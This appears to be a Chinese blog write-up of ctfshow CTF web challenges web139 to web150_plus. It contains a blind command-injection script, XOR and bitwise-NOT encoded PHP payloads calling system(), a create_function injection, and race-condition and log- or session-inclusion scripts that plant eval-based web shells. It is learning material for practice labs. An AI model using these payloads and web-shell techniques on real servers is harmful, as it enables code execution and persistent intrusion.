然后我们分析这个循环体
`ls / -1| cut -c {} | awk \"NR=={}\"`首先反引号指的是执行linux语句
ls / -1 表示的是查看根目录下的文件,-1 表示单列输出。
|是管道符,表示将前一语句的输出作为下一句的输入
然后cut -c {}指的就是切割第{}个字符,假如这里是1,那就是切割第一个字符,
也就是bin里的b
然后这个b是它的输出,作为下一个的输入,然后awk "NR={}"是指定为第{}行,这里的话
我们假设为1,也就是第一行,b是第一行的,所以这里就是得到了b,然后与后面的{}进行
比较,看是否相同,这个{}是我们设置的a-z以及其他,在这里的话当是b的时候就会执行
sleep 3

如果不理解这个ls的话可以看下面这个
在这里插入图片描述
可以发现它将每个文件视为一行,因此我们指定NR=1,它前面cut -c {},也就会分别输出b,i,n。
然后这是获取目录的,输出文件的脚本如下

import requests

url="http://48eceb34-f01c-4610-bf8a-89d4b3b71a47.challenge.ctf.show/?c="
payload="if [ `cat /f149_15_h3r3| cut -c {}` == \"{}\" ];then sleep 3;fi"
result=""
strings="ctfshow{abcdefghijklmnopqrstuvwxyz_-0123456789}"

for c in range(1,50):#长度
    for s in strings:
        target=url +payload.format(c,s)
        print(target)
        try:
            requests.get(target,timeout=2.5)
        except:
            result +=s
            print(result)
            break
    result += " " 

得到flag

ctfshow{d01c8c41-5e6f-4d23-b444-ba63324f5aaf}

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

可以看见这里是要求传入f1和f2,且以字母或数字开头并结尾,然后将f1作为函数名,将f2作为函数内容这样子,然后我们看这个判断条件intval($code) == 'ctfshow',intval下的字符串都是0
在这里插入图片描述
所以的话我们只需让$code=0,也就可以成功执行,也就输出了flag,这时候我们看到\$code是由eval("return $f1($f2());");得到的,因此我们这里找一些参数并让他们的返回值为0即可,经测试以下几个可行

f1=system&f2=system
f1=intval&f2=intval

web 141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
?>

这里的话可以看一下这个正则^\W+$

\w :匹配包括下划线的任何单词字符,等价于 [A-Z a-z 0-9_]
\W :匹配任何非单词字符,等价于 [^A-Z a-z 0-9_]

所以这里的话其实就是匹配任意不是字母,数字,下划线,汉字的字符,然后那这里的话其实就可以考虑用异或来构造命令了,我们发现它是eval了v1v3v2,我们发现这样可以执行
在这里插入图片描述
因此我们给v1和v3随便赋值为1,2此类即可,然后用v3来构造异或语句,并在前后加上-即可

?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-

web142

可以看到这题是变量v1×了个877的五次方,然后赋值给变量d,然后沉睡d秒后输出flag,我们可控的是变量v1,如果v1是1的话
在这里插入图片描述
可以看见需要这么多时间,但是我们知道,0×任何都为0
在这里插入图片描述
构造payload如下

v1=0

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

按理说按照之前的141的方法是可以的,但是在这里不行,被绕过了,我们尝试将v3参数内容里的-换成*进行尝试,构造payload如下

v1=1&v2=1&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)*

此时发现报错,再f12看一下,得到flag
在这里插入图片描述

web144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

可以发现这里的话要求了v1必须是字符串,因此我们这里设置v1=1即可,而后再看v3,对v3的长度进行了检测,要求只有一个字符,我们这里随便整一个*,然后此时能利用的就是v3,我们把异或语句传入即可

v1=1&v2=(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=*
#这里需要说明一下,当在get中传参为+时浏览器会将此视为空格,所以说我们想要构造v3=
+时需要给它进行url编码,此时get传参再自动解码时就是+号了
在这里插入图片描述

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

我们可以发现这里的话是要求v1和v2为数字,我们可以用%0a来进行绕过,而v3这里ban异或,所有这里的话我们就需要重新构造语句了,这里没有ban可以用取反,我们可以用取反来构造

//s
1000 1100 %8c
0111 0011 %73

//y
1000 0110 %86
0111 1001 %79

//s
1011 0110 %8c
0100 1001 %73

//t
1000 1011 %8b
0111 0100 %74

//e
1001 1010 %9A
0110 0101 %63

//m
1001 0010 %92
0110 1101 %6d

//l
1001 0011 %93
0110 1100 %6c

//s
1011 0110 %b6
0100 1001 %73
?v1=2&v2=1&v3=|(~%8c%86%8c%8b%9A%92)(~%93%8c)|
system(ls)

同理构造一个tac *a*就可以匹配到flag.php,最终payload如下

v1=2&v2=1&v3=|(~%8c%86%8c%8b%9A%92)(~%9c%9e%8b%df%99%d5)|
//system(tac *a*)

web146

同上关即可

web147

考察的是create_function的利用,可以看一下这位大师傅的文章https://paper.seebug.org/94/
然后思路知道后,我们还需要解决一个问题就是这个正则

if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) 

思路的话就是输入create_function,然后在前后分别加上字符,爆破一下会发现在前面加个\是可行的,这个为什么可行,看过feng师的wp后得知这里涉及到了php命令空间,示例如下

linux:
flag.txt 当前目录下存在flag.txt
/flag.txt 根目录下存在flag.txt
而php是可以自定义命名空间的,最大的命名空间是\,然后函数是在这个\里的,因此这里就
可以实现绕过同时调用函数

此时我们构造payload如下

GET:
show=}phpinfo();/*
POST:
ctf=\create_function

此时的语句其实就是用}注释掉if这个语句,然后执行了自己的语句,然后注释了后面的}这些,避免了报错
构造最终payload如下

GET:
show=}system("tac flag.php ");/*
POST:
ctf=\create_function

web148

本关没有过滤异或,然后还是eval了变量,因此我们这里可以沿用之前的异或,构造payload如下

code=(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA);
在这里插入图片描述

web149

明显是条件竞争,条件竞争脚本如下

import requests
import threading

url = "http://9ad3a761-9673-46ba-b21e-b45fe55c89e3.challenge.ctf.show"

def write():
    post_payload = {
        "show": '<?php system("cat /ctfshow_fl0g_here.txt");?>'
    }
    while event.isSet():
        res = requests.post(url = url + "?ctf=1.php" , data=post_payload)



def read():
    res = requests.get(url = url + "1.php")
    while event.isSet():
        if res.status_code == 200:
            print(res.text)


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(100):
        threading.Thread(target=write).start()
    for i in range(100):
        threading.Thread(target=read).start()

这里采用写木马到index.php的方法

GET:
ctf=index.php
POST:
show=<?php eval($_POST[1]);?>

此时进行rce即可

1=system("tac  /ctfshow_fl0g_here.txt");
在这里插入图片描述

web 150

这里的话我们可以发现ctf变量是没有限制的,而且再检测isvip变量,同时检测ctf变量没有:后就进行了包含ctf,这里我们可以利用日志包含,先在日志内写入一句话木马
在这里插入图片描述
而后

GET:
isVIP=1
POST:
ctf=/var/log/nginx/access.log&1=system("tac flag.php");

web150_plus

利用条件竞争

import requests
import io
import threading

url = "http://4654b838-6128-4fe7-8645-af50258f1a14.challenge.ctf.show/"
sessid = "quan9i"

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                },
            cookies={
                'PHPSESSID': sessid
                },
            files={
                'file': ('q.jpg', filebytes)
                }
            )

def read(session):
    while True:
        res = session.post(url+"?isVIP=1",
                           data={
                               "ctf":"/tmp/sess_"+sessid,
                               "1":"file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');",

                           },
                           cookies={
                               "PHPSESSID":sessid
                           }
                           )
        res2 = session.get("http://4654b838-6128-4fe7-8645-af50258f1a14.challenge.ctf.show/1.php")
        if res2.status_code == 200:
            print("成功写入一句话!")
        else:
            print("Retry")



if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

官方hint及wp

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...